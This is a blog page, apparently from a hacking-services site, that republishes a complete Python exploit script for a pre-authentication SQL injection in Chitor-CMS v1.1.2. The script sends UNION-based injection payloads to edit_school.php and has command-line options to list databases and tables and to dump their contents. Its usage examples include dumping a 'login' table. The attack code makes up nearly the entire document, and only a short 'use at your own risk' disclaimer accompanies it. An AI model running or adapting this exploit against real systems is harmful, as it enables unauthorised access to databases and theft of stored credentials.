Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863538427

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python3

#######################################################
#                                                     # 
#  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          #
#  Date: 2023/04/13               #
#  ExploitAuthor: msd0pe                                  #
#  Project: https://github.com/waqaskanju/Chitor-CMS  #
#  My Github: https://github.com/msd0pe-1             #
#  Patched the 2023/04/16: 69d3442 commit             #
#                                                     #
#######################################################

__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'
__author__ = 'msd0pe'
__version__ = '1.1'
__date__ = '2023/04/13'

class bcolors:
    PURPLE = '\033[95m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    OCRA = '\033[93m'
    RED = '\033[91m'
    CYAN = '\033[96m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

class infos:
    INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] "
    ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] "
    GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] "
    PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] "

import re
import requests
import optparse
from prettytable import PrettyTable

def DumpTable(url, database, table):
    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}
    x = PrettyTable()
    columns = []
    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -"
    u = requests.get(url + payload, headers=header)
    try:
        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)
        r = r[0].replace('\"',"").split(',')
        if r == []:
            pass
        else:
            for i in r:
                columns.append(i)
                pass
    except:
        pass
    x.field_names = columns
    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -"
    u = requests.get(url + payload, headers=header)
    try:
        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)
        r = r[0].replace('\"',"").split(',')
        if r == []:
            pass
        else:
            for i in r:
                i = i.split("xzmdpl")
                x.add_rows([i])
    except ValueError:
        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)
        r = r[0].replace('\"',"").split(',')
        if r == []:
            pass
        else:
            for i in r:
                i = i.split("xzmdpl")
                i.append("")
                x.add_rows([i])        
    print(x)

def ListTables(url, database):
    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}
    x = PrettyTable()
    x.field_names = ["TABLES"]
    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -"
    u = requests.get(url + payload, headers=header)
    try:
        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)
        r = r[0].replace('\"',"").split(',')
        if r == []:
            pass
        else:
            for i in r:
                x.add_row([i])
    except:
        pass
    print(x)

def ListDatabases(url):
    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}
    x = PrettyTable()
    x.field_names = ["DATABASES"]
    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -"
    u = requests.get(url + payload, headers=header)
    try:
        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)
        r = r[0].replace('\"',"").split(',')
        if r == []:
            pass
        else:
            for i in r:
                x.add_row([i])
    except:
        pass
    print(x)

def Main():
    Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__)
    Menu.add_option('-u', '--url', type="str", dest="url", help='target url')
    Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases')
    Menu.add_option('-D', '--db', type="str", dest="database", help='select a database')
    Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables')
    Menu.add_option('-T', '--table', type="str", dest="table", help='select a table')
    Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content')
    (options, args) = Menu.parse_args()

    Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs
                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables
                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump
    """)
    Menu.add_option_group(Examples)

    if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}:
        Menu.print_help()
        print('')
        print('  %s' % __description__)
        print('  Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC)
        print('  Any malicious or illegal activity may be punishable by law')
        print('  Use at your own risk')

    elif len(args) == 0:
        try:
            if options.url != None:
                if options.l_databases != None:
                    ListDatabases(options.url)
                if options.database != None:
                    if options.l_tables != None:
                        ListTables(options.url, options.database)
                    if options.table != None:
                        if options.dump != None:
                            DumpTable(options.url, options.database, options.table)
        except:
            print("Unexpected error")

if __name__ == '__main__':
    try:
        Main()

    except KeyboardInterrupt:
        print()
        print(infos.PROCESS + "Exiting...")
        print()
        exit(1)